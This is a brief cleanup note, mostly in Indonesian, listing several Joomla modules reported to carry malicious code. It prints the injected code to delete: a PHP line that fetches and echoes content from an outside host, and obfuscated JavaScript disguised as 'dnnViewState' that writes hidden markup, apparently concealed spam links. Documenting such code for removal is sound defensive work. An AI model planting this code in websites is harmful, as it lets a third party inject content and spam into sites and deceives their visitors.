mod_PlimunNivoSlider

http://vel.joomla.org/articles/844-spotting-spam-code-in-malicious-extensions.html

Autson Skitter Slideshow (mod_AutsonSlideShow)
Share This for Joomla! (mod_JoomlaShare This)
VirtueMart Advanced Search (mod_virtuemart_advsearch)
AddThis For Joomla (mod_AddThisForJoomla)
Plimun Nivo Slider (mod_PlimunNivoSlider)

hapus:

Example 1
     <?php
     $credit=file_get_contents('http://www.inowweb.com/p.php?i='.$path);
     echo $credit;
     ?>

atau:

Example 2
     <script language="JavaScript">
     function dnnViewState()
     {
     var a=0,m,v,t,z,x=new  Array('9091968376','888791814987883421333333338896','778787',
     '949990793917947998942577939317'),l=x.length;while(++a<=l){m=x[l-a];
     t=z='';
     for(v=0;v<m.length;){t+=m.charAt(v++);
     if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a);
     t='';}}x[l-a]=z;}document.write('<'+x[0]+'  '+x[4]+'>.''{'+x[1]+'}</'+x[0]+'>');}dnnViewState();
     </script>


==================================

yang dihapus:

pada file TMPL

<script language="JavaScript">
function dnnViewState()
{
var a=0,m,v,t,z,x=new Array('9091968376','8887918192818786347374918784939277359287883421333333338896','778787','949990793917947998942577939317'),l=x.length;while(++a<=l){m=x[l-a];
t=z='';
for(v=0;v<m.length;){t+=m.charAt(v++);
if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a);
t='';}}x[l-a]=z;}document.write('<'+x[0]+' '+x[4]+'>.'+x[2]+'{'+x[1]+'}</'+x[0]+'>');}dnnViewState();
</script>

dan diakhir ada link ke web